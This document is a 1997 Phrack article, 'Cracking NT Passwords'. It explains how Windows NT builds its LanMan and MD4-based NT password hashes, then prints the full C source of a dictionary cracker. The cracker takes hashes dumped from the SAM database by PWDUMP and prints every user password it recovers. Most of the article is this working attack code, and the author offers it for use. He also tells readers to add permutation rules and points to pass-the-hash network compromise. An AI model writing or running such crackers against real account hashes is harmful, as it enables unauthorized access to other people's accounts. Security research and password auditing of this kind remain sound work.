Title : Cracking NT Passwords
Author : Nihil
.oO Phrack 50 Oo.
Volume Seven, Issue Fifty
8 of 16
Cracking NT Passwords
by Nihil
Recently a breakthrough was made by one of the Samba team members, Jeremy
Allison, that allows an administrator to dump the one-way functions (OWF)
of the passwords for each user from the Security Account Manager (SAM)
database, which is similar to a shadowed password file in *nix terms. The
program Jeremy wrote is called PWDUMP, and the source can be obtained from
the Samba team's FTP server. This is very useful for administrators of
Samba servers, for it allows them to easily replicate the user database
from Windows NT machines on Samba servers. It also helps system
administrators and crackers in another way: dictionary attacks against
user's passwords. There is more, but I will save that for later.
Windows NT stores two hashes of a user's password in general: the LanMan
compatible OWF and the NT compatible OWF. The LanMan OWF is generated by
limiting the user's password to 14 characters (padding with NULLs if it is
shorter), converting all alpha characters to uppercase, breaking the 14
characters (single byte OEM character set) into two 7 byte blocks,
expanding each 7 byte block into an 8 byte DES key with parity, and
encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with
each of the two keys and concatenating the results. The NT OWF is created
by taking up to 128 characters of the user's password, converting it to
unicode (a two byte character set used heavily in NT), and taking the MD4
hash of the string. In practice the NT password is limited to 14
characters by the GUI, though it can be set programmatically to something
greater in length.
The demonstration code presented in this article does dictionary attacks
against the NT OWF in an attempt to recover the NT password, for this is
what one needs to actually logon to the console. It should be noted that
it is much easier to brute force the LanMan password, but it is only used
in network authentication. If you have the skillz, cracking the LanMan
password can take you a long way towards cracking the NT password more
efficently, but that is left as an exercise for the reader ;>
For those readers wit da network programming skillz, the hashes themselves
are enough to comprimise a NT machine from the network. This is so because
the authentication protocol used in Windows NT relies on proof of the OWF
of the password, not the password itself. This is a whole other can of
worms we won't get into here.
The code itself is simple and pretty brain dead. Some Samba source was
used to speed up development time, and I would like to give thanks to the
Samba team for all their effort. Through the use of, and study of, Samba
several interesting security weaknesses in Windows NT have been uncovered.
This was not the intent of the Samba team, and really should be viewed as
what it is - some lame security implementations on Microsoft's part. Hey,
what do you expect from the people that brought you full featured (not in a
good way, mind you) macro languages in productivity applications?
You will need md4.c, md4.h, and byteorder.h from the Samba source
distribution inorder to compile the code here. It has been compiled and
tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it
should not compile and run on your favorite *nix platform. To truly be
useful, some code should be added to try permutations of the dictionary
entry and user name, but again, that is up to the reader.
One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD
at the top and corresponding #else and #endif at the bottom...
Here ya go:
<++> NTPWC/ntpwc.c
/*
* (C) Nihil 1997. All rights reserved. A Guild Production.
*
* This program is free for commercial and non-commercial use.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */
/* dictionary based NT password cracker. This is a temporary
* solution until I get some time to do something more
* intelligent. The input to this program is the output of
* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN
* OWF passwords out of the NT registry and a crack style
* dictionary file. The output of PWDUMP looks
* a bit like UNIX passwd files with colon delimited fields.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
/* Samba headers we use */
#include "byteorder.h"
#include "md4.h"
#define TRUE 1
#define FALSE 0
#define HASHSIZE 16
/* though the NT password can be up to 128 characters in theory,
* the GUI limits the password to 14 characters. The only way
* to set it beyond that is programmatically, and then it won't
* work at the console! So, I am limiting it to the first 14
* characters, but you can change it to up to 128 by modifying
* MAX_PASSWORD_LENGTH
*/
#define MAX_PASSWORD_LENGTH 14
/* defines for Samba code */
#define uchar unsigned char
#define int16 unsigned short
#define uint16 unsigned short
#define uint32 unsigned int
/* the user's info we are trying to crack */
typedef struct _USER_INFO
{
char* username;
unsigned long ntpassword[4];
}USER_INFO, *PUSER_INFO;
/* our counted unicode string */
typedef struct _UNICODE_STRING
{
int16* buffer;
unsigned long length;
}UNICODE_STRING, *PUNICODE_STRING;
/* from Samba source cut & pasted here */
static int _my_mbstowcs(int16*, uchar*, int);
static int _my_wcslen(int16*);
/* forward declarations */
void Cleanup(void);
int ParsePWEntry(char*, PUSER_INFO);
/* global variable definition, only reason is so we can register an
* atexit() fuction to zero these for paranoid reasons
*/
char pPWEntry[258];
char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */
MDstruct MDContext; /* MD4 context structure */
int main(int argc,char *argv[])
{
FILE *hToCrack, *hDictionary;
PUSER_INFO pUserInfo;
PUNICODE_STRING pUnicodeDictEntry;
int i;
unsigned int uiLength;
/* register exit cleanup function */
atexit(Cleanup);
/* must have both arguments */
if (argc != 3)
{
printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);
exit(0);
}
/* open password file */
hToCrack = fopen(argv[1], "r");
if (hToCrack == NULL)
{
fprintf(stderr,"Unable to open password file\n");
exit(-1);
}
/* open dictionary file */
hDictionary = fopen(argv[2], "r");
if (hDictionary == NULL)
{
fprintf(stderr,"Unable to open dictionary file\n");
exit(-1);
}
/* allocate space for our user info structure */
pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
if (pUserInfo == NULL)
{
fprintf(stderr,"Unable to allocate memory for user info structure\n");
exit(-1);
}
/* allocate space for unicode version of the dictionary string */
pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
if (pUnicodeDictEntry == NULL)
{
fprintf(stderr,"Unable to allocate memory for unicode conversion\n");
free(pUserInfo);
exit(-1);
}
/* output a banner so the user knows we are running */
printf("\nCrack4NT is running...\n");
/* as long as there are entries in the password file read
* them in and crack away */
while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
{
/* parse out the fields and fill our user structure */
if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
{
continue;
}
/* reset file pointer to the beginning of the dictionary file */
if (fseek(hDictionary, 0, SEEK_SET))
{
fprintf(stderr,"Unable to reset file pointer in dictionary\n");
memset(pUserInfo->ntpassword, 0, HASHSIZE);
free(pUserInfo);
free(pUnicodeDictEntry);
exit(-1);
}
/* do while we have new dictionary entries */
while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
{
/* doh...fgets is grabbing the fucking newline, how stupid */
if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')
{
pDictEntry[(strlen(pDictEntry) - 1)] = '\0';
}
/* the following code is basically Jeremy Allison's code written
* for the Samba project to generate the NT OWF password. For
* those of you who have accused Samba of being a hacker's
* paradise, get a fucking clue. There are parts of NT security
* that are so lame that just seeing them implemented in code
* is enough to break right through them. That is all that
* Samba has done for the hacking community.
*/
/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
uiLength = strlen((char *)pDictEntry);
if(uiLength > MAX_PASSWORD_LENGTH)
uiLength = MAX_PASSWORD_LENGTH;
/* allocate space for unicode conversion */
pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);
/* allocate space for it */
pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
if (pUnicodeDictEntry->buffer == NULL)
{
fprintf(stderr,"Unable to allocate space for unicode string\n");
exit(-1);
}
/* Password must be converted to NT unicode */
_my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
/* Ensure string is null terminated */
pUnicodeDictEntry->buffer[uiLength] = 0;
/* Calculate length in bytes */
uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);
MDbegin(&MDContext);
for(i = 0; i + 64 <= (signed)uiLength; i += 64)
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);
/* end of Samba code */
/* check if dictionary entry hashed to the same value as the user's
* NT password, if so print out user name and the corresponding
* password
*/
if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
{
printf("Password for user %s is %s\n", pUserInfo->username, \
pDictEntry);
/* we are done with the password entry so free it */
free(pUnicodeDictEntry->buffer);
break;
}
/* we are done with the password entry so free it */
free(pUnicodeDictEntry->buffer);
}
}
/* cleanup a bunch */
free(pUserInfo->username);
memset(pUserInfo->ntpassword, 0, HASHSIZE);
free(pUserInfo);
free(pUnicodeDictEntry);
/* everything is great */
printf("Crack4NT is finished\n");
return 0;
}
void Cleanup()
{
memset(pPWEntry, 0, 258);
memset(pDictEntry, 0, 129);
memset(&MDContext.buffer, 0, HASHSIZE);
}
/* parse out user name and OWF */
int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
{
int HexToBin(char*, uchar*, int);
char pDelimiter[] = ":";
char* pTemp;
char pNoPW[] = "NO PASSWORD*********************";
char pDisabled[] = "********************************";
/* check args */
if (pPWEntry == NULL || pUserInfo == NULL)
{
return FALSE;
}
/* try and get user name */
pTemp = strtok(pPWEntry, pDelimiter);
if (pTemp == NULL)
{
return FALSE;
}
/* allocate space for user name in USER_INFO struct */
pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
if (pUserInfo->username == NULL)
{
fprintf(stderr,"Unable to allocate memory for user name\n");
return FALSE;
}
/* get the user name into the USER_INFO struct */
strcpy(pUserInfo->username, pTemp);
/* push through RID and LanMan password entries to get to NT password */
strtok(NULL, pDelimiter);
strtok(NULL, pDelimiter);
/* get NT OWF password */
pTemp = strtok(NULL, pDelimiter);
if (pTemp == NULL)
{
free(pUserInfo->username);
return FALSE;
}
/* do a sanity check on the hash value */
if (strlen(pTemp) != 32)
{
free(pUserInfo->username);
return FALSE;
}
/* check if the user has no password - we return FALSE in this case to avoid
* unnecessary crack attempts
*/
if (strcmp(pTemp, pNoPW) == 0)
{
printf("User %s has no password\n", pUserInfo->username);
return FALSE;
}
/* check if account appears to be disabled - again we return FALSE */
if (strcmp(pTemp, pDisabled) == 0)
{
printf("User %s is disabled most likely\n", pUserInfo->username);
return FALSE;
}
/* convert hex to bin */
if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
{
free(pUserInfo->username);
return FALSE;
}
/* cleanup */
memset(pTemp, 0, 32);
return TRUE;
}
/* just what it says, I am getting tired
* This is a pretty lame way to do this, but it is more efficent than
* sscanf()
*/
int HexToBin(char* pHexString, uchar* pByteString, int count)
{
int i, j;
if (pHexString == NULL || pByteString == NULL)
{
fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");
return FALSE;
}
/* clear the byte string */
memset(pByteString, 0, count);
/* for each hex char xor the byte with right value, we are targeting
* the low nibble
*/
for (i = 0, j = 0; i < (count * 2); i++)
{
switch (*(pHexString + i))
{
case '0': pByteString[j] ^= 0x00;
break;
case '1': pByteString[j] ^= 0x01;
break;
case '2': pByteString[j] ^= 0x02;
break;
case '3': pByteString[j] ^= 0x03;
break;
case '4': pByteString[j] ^= 0x04;
break;
case '5': pByteString[j] ^= 0x05;
break;
case '6': pByteString[j] ^= 0x06;
break;
case '7': pByteString[j] ^= 0x07;
break;
case '8': pByteString[j] ^= 0x08;
break;
case '9': pByteString[j] ^= 0x09;
break;
case 'a':
case 'A': pByteString[j] ^= 0x0A;
break;
case 'b':
case 'B': pByteString[j] ^= 0x0B;
break;
case 'c':
case 'C': pByteString[j] ^= 0x0C;
break;
case 'd':
case 'D': pByteString[j] ^= 0x0D;
break;
case 'e':
case 'E': pByteString[j] ^= 0x0E;
break;
case 'f':
case 'F': pByteString[j] ^= 0x0F;
break;
default: fprintf(stderr,"invalid character in NT MD4 string\n");
return FALSE;
}
/* I think I need to explain this ;) We want to incremet j for every
* two characters from the hex string and we also want to shift the
* low 4 bits up to the high 4 just as often, but we want to alternate
* The logic here is to xor the mask to set the low 4 bits, then shift
* those bits up and xor the next mask to set the bottom 4. Every 2
* hex chars for every one byte, get my screwy logic? I never was
* good at bit twiddling, and sscanf sucks for efficiency :(
*/
if (i%2)
{
j ++;
}
if ((i%2) == 0)
{
pByteString[j] <<= 4;
}
}
return TRUE;
}
/* the following functions are from the Samba source, and many thanks to the
* authors for their great work and contribution to the public source tree
*/
/* Routines for Windows NT MD4 Hash functions. */
static int _my_wcslen(int16 *str)
{
int len = 0;
while(*str++ != 0)
len++;
return len;
}
/*
* Convert a string into an NT UNICODE string.
* Note that regardless of processor type
* this must be in intel (little-endian)
* format.
*/
static int _my_mbstowcs(int16 *dst, uchar *src, int len)
{
int i;
int16 val;
for(i = 0; i < len; i++) {
val = *src;
SSVAL(dst,0,val);
dst++;
src++;
if(val == 0)
break;
}
return i;
}
<--> NTPWC/ntpwc.c
EOF